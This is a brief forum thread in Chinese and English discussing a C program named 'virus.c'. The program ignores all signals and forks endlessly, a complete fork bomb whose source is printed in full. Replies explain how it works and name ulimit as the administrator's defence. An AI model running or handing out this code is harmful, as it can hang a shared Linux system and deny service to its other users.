Who can explain these in core?
$ cat virus.c#include <signal.h>
#include <unistd.h>
int
main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
} 1) disable all signals
2) keep fork, and each forked process will keep fork. 喔,这个我知道。我是说在不对shell环境做限制时,Linux运行这个,就没有办法不挂吗? 毕竟这段代码普通用户都可以编译和执行 yes, this can hangs u machine. so if u are an admin for a linux server, u will set the ulimit. this is part of resource management. 也许可以测试 xdwjack同志 的安全OS的效能。:-)
页:
[1]